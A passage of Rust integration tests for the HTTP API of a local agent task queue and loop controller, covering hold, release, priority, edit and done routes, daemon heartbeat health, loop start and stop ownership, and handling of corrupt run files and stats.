6890 #[tokio::test]
6891 async fn talk_delete_on_an_unknown_id_is_404() {
6892 let f = Fixture::start().await;
6893 let res = f.delete("/api/talks/nonexistent-id").await;
6894 assert_eq!(res.status, 404, "{}", res.body);
6895 }
6896
6897 #[tokio::test]
6898 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6899 let f = Fixture::start().await;
6900 let queue = f.queue();
6901 let mut task = Task::new(
6902 "spent".to_owned(),
6903 "Try again".to_owned(),
6904 PathBuf::from("/repo/magi"),
6905 Source::Human,
6906 );
6907 task.start("20260902-140502-bbbb".to_owned());
6908 task.fail("agent gave up", 9);
6909 queue.put(&mut task).expect("file the task");
6910
6911 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6912 assert_eq!(held.status, 200);
6913 assert_eq!(held.json()["status_str"], "held");
6914
6915 let released = f
6916 .post(&format!("/api/queue/{}/release", task.id), None)
6917 .await;
6918 assert_eq!(released.status, 200);
6919 assert_eq!(released.json()["status_str"], "queued");
6920 assert_eq!(
6921 released.json()["attempts"],
6922 0,
6923 "release is a real second chance, not an instant re-hold"
6924 );
6925 assert_eq!(
6926 queue.get(&task.id).expect("reload").status,
6927 TaskStatus::Queued,
6928 "the change is on disk, not only in the reply"
6929 );
6930 assert!(
6931 !f.home
6932 .path()
6933 .join("queue")
6934 .join(format!("{}.lock", task.id))
6935 .exists(),
6936 "the claim the mutation took is released again"
6937 );
6938 }
6939
6940 #[tokio::test]
6941 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6942 let f = Fixture::start().await;
6943 let queue = f.queue();
6944 let mut task = Task::new(
6945 "busy".to_owned(),
6946 "Running right now".to_owned(),
6947 PathBuf::from("/repo/magi"),
6948 Source::Human,
6949 );
6950 queue.put(&mut task).expect("file the task");
6951 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6952
6953 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6954
6955 assert_eq!(res.status, 409);
6956 assert_eq!(
6957 queue.get(&task.id).expect("reload").status,
6958 TaskStatus::Queued,
6959 "the refused hold changed nothing"
6960 );
6961 }
6962
6963 #[tokio::test]
6964 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6965 let f = Fixture::start().await;
6966 let queue = f.queue();
6967 let mut task = Task::new(
6968 "waiting on the migration".to_owned(),
6969 "Do the thing".to_owned(),
6970 PathBuf::from("/repo/magi"),
6971 Source::Human,
6972 );
6973 queue.put(&mut task).expect("file the task");
6974
6975 let held = f
6976 .post(
6977 &format!("/api/queue/{}/hold", task.id),
6978 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6979 )
6980 .await;
6981 assert_eq!(held.status, 200, "{}", held.body);
6982 assert_eq!(held.json()["status_str"], "held");
6983 assert_eq!(
6984 held.json()["hold_reason"],
6985 "waiting for 20260101-000000-aaaa to land"
6986 );
6987
6988 let listed = f.get("/api/queue").await.json();
6989 assert_eq!(
6990 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6991 "the card reads the reason off the same list route"
6992 );
6993
6994 let mut plain = Task::new(
6997 "no reason given".to_owned(),
6998 "Do another thing".to_owned(),
6999 PathBuf::from("/repo/magi"),
7000 Source::Human,
7001 );
7002 queue.put(&mut plain).expect("file the task");
7003 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7004 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7005 assert!(held_plain.json()["hold_reason"].is_null());
7006
7007 let released = f
7008 .post(&format!("/api/queue/{}/release", task.id), None)
7009 .await;
7010 assert_eq!(released.status, 200);
7011 assert!(
7012 released.json()["hold_reason"].is_null(),
7013 "a release must clear the reason so the next hold does not inherit it"
7014 );
7015 }
7016
7017 #[tokio::test]
7018 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7019 let f = Fixture::start().await;
7020 let queue = f.queue();
7021 let mut older = Task::new(
7022 "filed first".to_owned(),
7023 "x".to_owned(),
7024 PathBuf::from("/repo/magi"),
7025 Source::Human,
7026 );
7027 older.id = "20260101-000001-aaaa".to_owned();
7028 let mut newer = Task::new(
7029 "filed second".to_owned(),
7030 "x".to_owned(),
7031 PathBuf::from("/repo/magi"),
7032 Source::Human,
7033 );
7034 newer.id = "20260101-000002-bbbb".to_owned();
7035 queue.put(&mut older).expect("file older");
7036 queue.put(&mut newer).expect("file newer");
7037
7038 let before = f.get("/api/queue").await.json();
7041 assert_eq!(before[0]["id"], newer.id);
7042 assert_eq!(before[1]["id"], older.id);
7043
7044 let raised = f
7048 .post(
7049 &format!("/api/queue/{}/priority", older.id),
7050 Some(r#"{"priority":10}"#),
7051 )
7052 .await;
7053 assert_eq!(raised.status, 200, "{}", raised.body);
7054 assert_eq!(raised.json()["priority"], 10);
7055
7056 let after = f.get("/api/queue").await.json();
7057 let names: Vec<&str> = after
7058 .as_array()
7059 .unwrap()
7060 .iter()
7061 .map(|t| t["id"].as_str().unwrap())
7062 .collect();
7063 assert_eq!(names[0], older.id, "the raised task now sorts first");
7067 }
7068
7069 #[tokio::test]
7070 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7071 let f = Fixture::start().await;
7072 let queue = f.queue();
7073 let mut task = Task::new(
7074 "in flight".to_owned(),
7075 "x".to_owned(),
7076 PathBuf::from("/repo/magi"),
7077 Source::Human,
7078 );
7079 task.start("20260902-140502-bbbb".to_owned());
7080 queue.put(&mut task).expect("file the task");
7081
7082 let res = f
7083 .post(
7084 &format!("/api/queue/{}/priority", task.id),
7085 Some(r#"{"priority":9}"#),
7086 )
7087 .await;
7088 assert_eq!(res.status, 400, "{}", res.body);
7089 assert!(
7090 res.json()["error"]
7091 .as_str()
7092 .is_some_and(|e| e.contains("running")),
7093 "{}",
7094 res.body
7095 );
7096 assert_eq!(
7097 queue.get(&task.id).expect("reload").priority,
7098 0,
7099 "the refused write must not partially apply"
7100 );
7101 }
7102
7103 #[tokio::test]
7104 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7105 let f = Fixture::start().await;
7106 let queue = f.queue();
7107 let mut task = Task::new(
7108 "old title".to_owned(),
7109 "old instruction".to_owned(),
7110 PathBuf::from("/repo/magi"),
7111 Source::Agent {
7112 run: "20260101-000000-beef".to_owned(),
7113 node: "implement".to_owned(),
7114 },
7115 );
7116 task.runs.push("20260101-000000-beef".to_owned());
7117 queue.put(&mut task).expect("file the task");
7118 let created_at = task.created_at;
7119
7120 let edited = f
7121 .post(
7122 &format!("/api/queue/{}/edit", task.id),
7123 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7124 )
7125 .await;
7126 assert_eq!(edited.status, 200, "{}", edited.body);
7127 let body = edited.json();
7128 assert_eq!(body["title"], "new title");
7129 assert_eq!(body["instruction"], "new instruction");
7130 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7131 assert_eq!(body["created_at"], created_at.to_string());
7132 assert_eq!(
7133 body["source"]["kind"], "agent",
7134 "editing a task an agent filed must not turn it human: {body}"
7135 );
7136 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7137
7138 let reloaded = queue.get(&task.id).expect("reload");
7139 assert_eq!(reloaded.title, "new title");
7140 assert_eq!(reloaded.instruction, "new instruction");
7141 }
7142
7143 #[tokio::test]
7144 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
7145 let f = Fixture::start().await;
7146 let queue = f.queue();
7147 let mut owner = Task::new(
7148 "owner".to_owned(),
7149 "review it".to_owned(),
7150 PathBuf::from("/repo/magi"),
7151 Source::Human,
7152 );
7153 owner.review_branch = Some("magi/ab12/A".to_owned());
7154 queue.put(&mut owner).expect("file the owner");
7155 let mut task = Task::new(
7156 "draft".to_owned(),
7157 "old".to_owned(),
7158 PathBuf::from("/repo/magi"),
7159 Source::Human,
7160 );
7161 queue.put(&mut task).expect("file the draft");
7162 let url = format!("/api/queue/{}/edit", task.id);
7163
7164 let refused = f
7165 .post(
7166 &url,
7167 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
7168 )
7169 .await;
7170 assert_eq!(refused.status, 409, "{}", refused.body);
7171 let msg = refused.json()["error"]
7172 .as_str()
7173 .unwrap_or_default()
7174 .to_owned();
7175 assert!(
7176 msg.contains("magi/ab12/A") && msg.contains("force"),
7177 "{msg}"
7178 );
7179 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
7180
7181 let forced = f
7182 .post(
7183 &url,
7184 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
7185 )
7186 .await;
7187 assert_eq!(forced.status, 200, "{}", forced.body);
7188 }
7189
7190 #[tokio::test]
7191 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7192 let f = Fixture::start().await;
7193 let queue = f.queue();
7194 let mut task = Task::new(
7195 "in flight".to_owned(),
7196 "do not touch".to_owned(),
7197 PathBuf::from("/repo/magi"),
7198 Source::Human,
7199 );
7200 task.start("20260902-140502-bbbb".to_owned());
7201 queue.put(&mut task).expect("file the task");
7202
7203 let res = f
7204 .post(
7205 &format!("/api/queue/{}/edit", task.id),
7206 Some(r#"{"title":"x","instruction":"y"}"#),
7207 )
7208 .await;
7209 assert_eq!(res.status, 400, "{}", res.body);
7210 assert!(
7211 res.json()["error"]
7212 .as_str()
7213 .is_some_and(|e| e.contains("running")),
7214 "{}",
7215 res.body
7216 );
7217 assert_eq!(
7218 queue.get(&task.id).expect("reload").instruction,
7219 "do not touch",
7220 "the refused edit must not change the file"
7221 );
7222 }
7223
7224 #[tokio::test]
7225 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7226 let f = Fixture::start().await;
7227 let queue = f.queue();
7228 let mut task = Task::new(
7229 "busy".to_owned(),
7230 "Running right now".to_owned(),
7231 PathBuf::from("/repo/magi"),
7232 Source::Human,
7233 );
7234 queue.put(&mut task).expect("file the task");
7235 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7236
7237 let priority = f
7238 .post(
7239 &format!("/api/queue/{}/priority", task.id),
7240 Some(r#"{"priority":9}"#),
7241 )
7242 .await;
7243 assert_eq!(priority.status, 409, "{}", priority.body);
7244
7245 let edit = f
7246 .post(
7247 &format!("/api/queue/{}/edit", task.id),
7248 Some(r#"{"title":"x","instruction":"y"}"#),
7249 )
7250 .await;
7251 assert_eq!(edit.status, 409, "{}", edit.body);
7252 }
7253
7254 #[tokio::test]
7255 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7256 let f = Fixture::start().await;
7257 let queue = f.queue();
7258 let mut task = Task::new(
7259 "shipped by hand".to_owned(),
7260 "merged outside the loop".to_owned(),
7261 PathBuf::from("/repo/magi"),
7262 Source::Agent {
7263 run: "20260101-000000-b455".to_owned(),
7264 node: "implement".to_owned(),
7265 },
7266 );
7267 task.runs.push("20260101-000000-b455".to_owned());
7268 task.runs.push("20260101-000000-9af4".to_owned());
7269 queue.put(&mut task).expect("file the task");
7270 let created_at = task.created_at;
7271
7272 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7273 assert_eq!(done.status, 200, "{}", done.body);
7274 assert_eq!(done.json()["status_str"], "done");
7275
7276 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7277 assert_eq!(
7278 reloaded.runs,
7279 ["20260101-000000-b455", "20260101-000000-9af4"]
7280 );
7281 assert_eq!(
7282 reloaded.source,
7283 Source::Agent {
7284 run: "20260101-000000-b455".to_owned(),
7285 node: "implement".to_owned(),
7286 }
7287 );
7288 assert_eq!(reloaded.created_at, created_at);
7289 }
7290
7291 #[tokio::test]
7292 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7293 let f = Fixture::start().await;
7298 let queue = f.queue();
7299 let mut task = Task::new(
7300 "landed while held".to_owned(),
7301 "x".to_owned(),
7302 PathBuf::from("/repo/magi"),
7303 Source::Human,
7304 );
7305 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7306 queue.put(&mut task).expect("file the held task");
7307
7308 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7309 assert_eq!(done.status, 200, "{}", done.body);
7310 assert_eq!(done.json()["status_str"], "done");
7311 assert!(
7312 done.json()["hold_reason"].is_null(),
7313 "a done task cannot still be waiting on something: {}",
7314 done.body
7315 );
7316 }
7317
7318 #[tokio::test]
7319 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7320 let f = Fixture::start().await;
7325 let queue = f.queue();
7326 let runs = f.runs();
7327 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7328 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7332
7333 let mut task = Task::new(
7334 "landed by hand".to_owned(),
7335 "x".to_owned(),
7336 PathBuf::from("/repo/magi"),
7337 Source::Human,
7338 );
7339 task.runs.push("20260101-000000-doa1".to_owned());
7340 task.runs.push("20260101-000000-doa2".to_owned());
7341 queue.put(&mut task).expect("file the task");
7342
7343 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7344 assert_eq!(done.status, 200, "{}", done.body);
7345
7346 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7347 .expect("run still on disk under this fixture's own home");
7348 assert_eq!(
7349 reloaded_run.status,
7350 RunStatus::Superseded,
7351 "closing the task by hand must relabel the earlier blocked attempt exactly \
7352 like the loop's own settle path does"
7353 );
7354 }
7355
7356 #[tokio::test]
7357 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7358 let f = Fixture::start().await;
7363 let queue = f.queue();
7364 let runs = f.runs();
7365 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7366 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7367
7368 let mut task = Task::new(
7369 "closed with nothing actually landed".to_owned(),
7370 "x".to_owned(),
7371 PathBuf::from("/repo/magi"),
7372 Source::Human,
7373 );
7374 task.runs.push("20260101-000000-dob1".to_owned());
7375 task.runs.push("20260101-000000-dob2".to_owned());
7376 queue.put(&mut task).expect("file the task");
7377
7378 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7379 assert_eq!(done.status, 200, "{}", done.body);
7380
7381 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7382 .expect("run still on disk under this fixture's own home");
7383 assert_eq!(
7384 reloaded_run.status,
7385 RunStatus::Blocked,
7386 "the last recorded attempt never landed, so the earlier one must not be \
7387 relabelled as superseded by it"
7388 );
7389 }
7390
7391 #[tokio::test]
7392 async fn unknown_ids_are_json_not_found_on_both_stores() {
7393 let f = Fixture::start().await;
7394
7395 let run = f.get("/api/runs/nosuchrun").await;
7396 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7397
7398 assert_eq!(run.status, 404);
7399 assert_eq!(task.status, 404);
7400 assert!(
7401 run.json()["error"]
7402 .as_str()
7403 .is_some_and(|e| e.contains("run")),
7404 "the error names what was not found: {}",
7405 run.body
7406 );
7407 assert!(
7408 task.json()["error"]
7409 .as_str()
7410 .is_some_and(|e| e.contains("task")),
7411 "the error names what was not found: {}",
7412 task.body
7413 );
7414 }
7415
7416 #[tokio::test]
7417 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7418 let f = Fixture::start().await;
7419
7420 let missing = f.get("/api/health").await.json();
7421 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7422
7423 write_daemon(
7424 f.home.path(),
7425 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7426 );
7427 let stale = f.get("/api/health").await.json();
7428 assert_eq!(
7429 stale["daemon"]["running"], false,
7430 "a minute without a heartbeat is a dead daemon, not a busy one"
7431 );
7432 assert!(
7433 stale["daemon"]["stale_for_secs"]
7434 .as_i64()
7435 .is_some_and(|s| s >= 55),
7436 "staleness is reported so the UI can say how long: {stale}"
7437 );
7438
7439 write_daemon(f.home.path(), Timestamp::now());
7440 let fresh = f.get("/api/health").await.json();
7441 assert_eq!(fresh["daemon"]["running"], true);
7442 assert_eq!(fresh["daemon"]["idle"], false);
7443 assert_eq!(fresh["daemon"]["pid"], 4242);
7444 assert_eq!(fresh["daemon"]["completed"], 7);
7445 assert_eq!(
7446 fresh["daemon"]["current"][0]["task"],
7447 "20260902-140501-aaaa"
7448 );
7449 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7450 }
7451
7452 #[tokio::test]
7453 async fn the_loop_is_not_running_until_something_starts_it() {
7454 let f = Fixture::start().await;
7455
7456 let view = f.get("/api/loop").await.json();
7457 assert_eq!(view["running"], false);
7458 assert_eq!(
7459 view["owned"], false,
7460 "nobody owns a loop that does not exist: {view}"
7461 );
7462 assert_eq!(view["stopping"], false);
7463 assert_eq!(view["last_error"], Value::Null);
7464 assert_eq!(view["daemon"]["running"], false);
7465 assert_eq!(
7466 view["repo"], "/repo/magi",
7467 "the repository a start would use, named before it is started"
7468 );
7469 }
7470
7471 #[tokio::test]
7472 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7473 let f = Fixture::start().await;
7474
7475 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7476 assert_eq!(res.status, 200, "{}", res.body);
7477 let view = res.json();
7478 assert_eq!(view["running"], true);
7479 assert_eq!(
7480 view["owned"], true,
7481 "the loop the UI started is the UI's own to stop: {view}"
7482 );
7483 assert_eq!(
7484 view["merge"],
7485 Value::Null,
7486 "no override was given, so each repository's own config decides"
7487 );
7488
7489 let health = f.get("/api/health").await.json();
7493 assert_eq!(health["loop"]["running"], true, "{health}");
7494 assert_eq!(health["loop"]["owned"], true, "{health}");
7495
7496 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7497 }
7498
7499 #[tokio::test]
7500 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7501 let f = Fixture::start().await;
7502 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7503 assert_eq!(first.status, 200, "{}", first.body);
7504
7505 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7506 assert_eq!(
7507 again.status, 409,
7508 "two loops on one queue race for the same claims: {}",
7509 again.body
7510 );
7511 assert!(
7512 again.json()["error"]
7513 .as_str()
7514 .is_some_and(|e| e.contains("already running the loop")),
7515 "the refusal has to say why: {}",
7516 again.body
7517 );
7518 assert_eq!(
7519 f.get("/api/loop").await.json()["running"],
7520 true,
7521 "and the loop that was already running is untouched by it"
7522 );
7523
7524 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7525 }
7526
7527 #[tokio::test]
7528 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7529 let f = Fixture::start().await;
7530 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7531
7532 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7533 assert_eq!(
7534 res.status, 200,
7535 "the answer must not wait for the loop: a run in flight is tens of \
7536 minutes and the operator is holding a phone: {}",
7537 res.body
7538 );
7539
7540 let view = settled(&f, |v| v["running"] == false).await;
7541 assert_eq!(view["owned"], false);
7542 assert_eq!(
7543 view["stopping"], false,
7544 "a loop that has stopped is not still stopping: {view}"
7545 );
7546 assert_eq!(
7547 view["last_error"],
7548 Value::Null,
7549 "a loop that was asked to stop did not fail: {view}"
7550 );
7551
7552 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7555 assert_eq!(twice.status, 200, "{}", twice.body);
7556 }
7557
7558 #[tokio::test]
7559 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7560 let f = Fixture::start().await;
7561 write_daemon(f.home.path(), Timestamp::now());
7564
7565 let view = f.get("/api/loop").await.json();
7566 assert_eq!(view["running"], false, "not in this process: {view}");
7567 assert_eq!(view["owned"], false, "and not this process's to control");
7568 assert_eq!(
7569 view["daemon"]["running"], true,
7570 "but a loop is alive somewhere, which is what the UI must say"
7571 );
7572 assert_eq!(view["daemon"]["pid"], 4242);
7573
7574 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7575 let res = f.post("/api/loop", Some(body)).await;
7576 assert_eq!(
7577 res.status, 409,
7578 "neither button may pretend to work on someone else's loop: {}",
7579 res.body
7580 );
7581 assert!(
7582 res.json()["error"]
7583 .as_str()
7584 .is_some_and(|e| e.contains("4242")),
7585 "the refusal has to name the process the operator must go to: {}",
7586 res.body
7587 );
7588 }
7589 assert_eq!(
7590 f.get("/api/loop").await.json()["running"],
7591 false,
7592 "and the refusal started nothing"
7593 );
7594 }
7595
7596 #[tokio::test]
7597 async fn a_stale_status_file_is_not_a_foreign_owner() {
7598 let f = Fixture::start().await;
7599 write_daemon(
7600 f.home.path(),
7601 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7602 );
7603
7604 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7605 assert_eq!(
7606 res.status, 200,
7607 "a daemon killed a minute ago must not lock the loop out of its \
7608 own home for good: {}",
7609 res.body
7610 );
7611 assert_eq!(res.json()["running"], true);
7612
7613 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7614 }
7615
7616 #[tokio::test]
7617 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7618 let f = Fixture::start().await;
7619 let before = f.get("/api/health").await.json()["loop_rev"]
7620 .as_u64()
7621 .expect("a loop revision");
7622
7623 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7624
7625 let after = f.get("/api/health").await.json()["loop_rev"]
7626 .as_u64()
7627 .expect("a loop revision");
7628 assert!(
7629 after > before,
7630 "the loop is in-process state, so this counter is the only thing \
7631 that tells a second device the first one started it: {before} -> \
7632 {after}"
7633 );
7634
7635 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7636 }
7637
7638 #[tokio::test]
7639 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7640 let f = Fixture::with_loop(launch_broken).await;
7641
7642 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7643 assert_eq!(
7644 res.status, 200,
7645 "starting it is not the failure: {}",
7646 res.body
7647 );
7648
7649 let view = settled(&f, |v| v["last_error"].is_string()).await;
7650 assert_eq!(
7651 view["running"], false,
7652 "a loop that died must not read as running, or the operator has \
7653 nothing to press: {view}"
7654 );
7655 assert_eq!(view["owned"], false);
7656 assert!(
7657 view["last_error"]
7658 .as_str()
7659 .is_some_and(|e| e.contains("read-only file system")),
7660 "the phone is where a loop that died at 3am is visible: {view}"
7661 );
7662
7663 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7666 assert_eq!(again.status, 200, "{}", again.body);
7667 assert_eq!(
7668 again.json()["last_error"],
7669 Value::Null,
7670 "a fresh start does not keep showing why the last one died"
7671 );
7672 }
7673
7674 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7686 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7687 let home = TempDir::new().expect("temp home");
7688 let runs = home.path().join("runs");
7689 std::fs::create_dir_all(&runs).expect("runs dir");
7690 let ui = Ui::new(
7691 Queue::at(home.path().join("queue")),
7692 Questions::at(home.path().join("questions")),
7693 Talks::at(home.path().join("talks")),
7694 runs,
7695 home.path().to_path_buf(),
7696 PathBuf::from("/repo/magi"),
7697 )
7698 .with_worktrees_root(home.path().join("wt"))
7699 .with_launch(launch_knocking_on_the_way_out);
7700 let looping = ui.looping();
7701 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7702 .await
7703 .expect("bind loopback");
7704 let addr = listener.local_addr().expect("local addr");
7705 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7706 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7707
7708 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7709 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7710
7711 let bound = std::sync::Mutex::new(None);
7726 hand_over(home.path(), &looping, served, || {
7727 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7728 let attempt = loop {
7729 match std::net::TcpListener::bind(addr) {
7730 Ok(l) => {
7731 drop(l);
7732 break Ok(());
7733 }
7734 Err(e)
7735 if e.kind() == std::io::ErrorKind::AddrInUse
7736 && std::time::Instant::now() < deadline =>
7737 {
7738 std::thread::sleep(std::time::Duration::from_millis(10));
7739 }
7740 Err(e) => break Err(e.to_string()),
7741 }
7742 };
7743 *bound.lock().expect("bound") = Some(attempt);
7744 Ok(())
7745 })
7746 .await
7747 .expect("hand over");
7748
7749 assert_eq!(
7750 *PARK_HEARD.lock().expect("park heard"),
7751 Some(200),
7752 "the deck must answer while the loop is parking"
7753 );
7754 let attempt = bound
7755 .lock()
7756 .expect("bound")
7757 .take()
7758 .expect("the successor was started");
7759 assert!(
7760 attempt.is_ok(),
7761 "and the address must be free by the time it is: {attempt:?}"
7762 );
7763 }
7764
7765 #[tokio::test]
7766 async fn a_newer_daemon_status_file_still_renders() {
7767 let f = Fixture::start().await;
7768 std::fs::write(
7771 f.home.path().join("daemon.json"),
7772 serde_json::json!({
7773 "schema": 2,
7774 "updated_at": Timestamp::now().to_string(),
7775 "idle": true,
7776 "surprise": { "nested": [1, 2, 3] },
7777 })
7778 .to_string(),
7779 )
7780 .expect("write daemon.json");
7781
7782 let health = f.get("/api/health").await;
7783
7784 assert_eq!(health.status, 200);
7785 assert_eq!(health.json()["daemon"]["running"], true);
7786 }
7787
7788 #[tokio::test]
7789 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7790 let f = Fixture::start().await;
7791 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7792 let broken = f.runs().join("20260902-140502-bad");
7793 std::fs::create_dir_all(&broken).expect("run dir");
7794 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7795
7796 let list = f.get("/api/runs").await;
7797 let detail = f.get("/api/runs/20260902-140502-bad").await;
7798
7799 assert_eq!(list.status, 200);
7800 let listed = list.json();
7801 let ids: Vec<&str> = listed
7802 .as_array()
7803 .expect("an array")
7804 .iter()
7805 .map(|r| r["id"].as_str().expect("an id"))
7806 .collect();
7807 assert_eq!(
7808 ids,
7809 vec!["20260902-140501-good"],
7810 "one unreadable run must not cost the operator the whole history"
7811 );
7812 assert_eq!(detail.status, 500);
7813 assert!(
7814 detail.json()["error"]
7815 .as_str()
7816 .is_some_and(|e| e.contains("run.json")),
7817 "the failure names the file to look at: {}",
7818 detail.body
7819 );
7820 let health = f.get("/api/health").await;
7824 assert_eq!(health.json()["runs_unreadable"], 1);
7825 }
7826
7827 #[tokio::test]
7832 async fn stats_runs_unreadable_matches_health() {
7833 let f = Fixture::start().await;
7834 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7835 let broken = f.runs().join("20260902-140502-bad");
7836 std::fs::create_dir_all(&broken).expect("run dir");
7837 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7838
7839 let stats = f.get("/api/stats").await;
7840 let health = f.get("/api/health").await;
7841
7842 assert_eq!(stats.status, 200);
7843 assert_eq!(stats.json()["totals"]["runs"], 1);
7844 assert_eq!(stats.json()["runs_unreadable"], 1);
7845 assert_eq!(
7846 stats.json()["runs_unreadable"],
7847 health.json()["runs_unreadable"],
7848 "the dashboard and /api/health must never disagree about how many \
7849 runs could not be read"
7850 );
7851 }
7852
7853 #[tokio::test]
7854 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7855 let f = Fixture::start().await;
7856 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7857 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7858 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7859
7860 let totals = &f.get("/api/stats").await.json()["totals"];
7861 assert_eq!(totals["runs"], 3);
7862 assert_eq!(totals["merged"], 1);
7863 assert_eq!(totals["stalled"], 1);
7864 assert_eq!(totals["in_progress"], 1);
7865 assert_eq!(totals["blocked"], 0);
7868 assert_eq!(totals["ready"], 0);
7869 }
7870
7871 #[tokio::test]
7872 async fn stats_advisors_report_proposals_and_reflection() {
7873 use crate::advise::{Advice, AdvisorRecord, Reflection};
7874 use crate::verdict::Proposal;
7875
7876 let f = Fixture::start().await;
7877 let mut state = RunState::new(
7878 PathBuf::from("/repo/magi"),
7879 "main".to_owned(),
7880 "0123456789abcdef".to_owned(),
7881 "task".to_owned(),
7882 Config::default(),
7883 );
7884 state.id = "20260902-140501-a".to_owned();
7885 state.status = RunStatus::Merged;
7886 state.advice = Some(Advice {
7887 records: vec![
7888 AdvisorRecord {
7889 seat: "advisor-1".to_owned(),
7890 agent: "alpha".to_owned(),
7891 proposal: Some(Proposal {
7892 approach: "do it".to_owned(),
7893 key_tradeoff: "speed over memory".to_owned(),
7894 risks: Vec::new(),
7895 touches: Vec::new(),
7896 why_not_naive: "breaks under load".to_owned(),
7897 }),
7898 error: None,
7899 duration_ms: 0,
7900 reflection: Reflection::Strong,
7901 },
7902 AdvisorRecord {
7903 seat: "advisor-2".to_owned(),
7904 agent: "alpha".to_owned(),
7905 proposal: None,
7906 error: Some("timed out".to_owned()),
7907 duration_ms: 0,
7908 reflection: Reflection::Absent,
7909 },
7910 ],
7911 synthesis: Some("blended brief".to_owned()),
7912 });
7913 let dir = f.runs().join(&state.id);
7914 std::fs::create_dir_all(&dir).expect("run dir");
7915 std::fs::write(
7916 dir.join("run.json"),
7917 serde_json::to_string_pretty(&state).expect("serialize run"),
7918 )
7919 .expect("write run.json");
7920
7921 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7922 let alpha = advisors
7923 .as_array()
7924 .expect("an array")
7925 .iter()
7926 .find(|a| a["agent"] == "alpha")
7927 .expect("alpha row");
7928 assert_eq!(alpha["seated"], 2);
7929 assert_eq!(alpha["proposed"], 1);
7930 assert_eq!(alpha["absent"], 1);
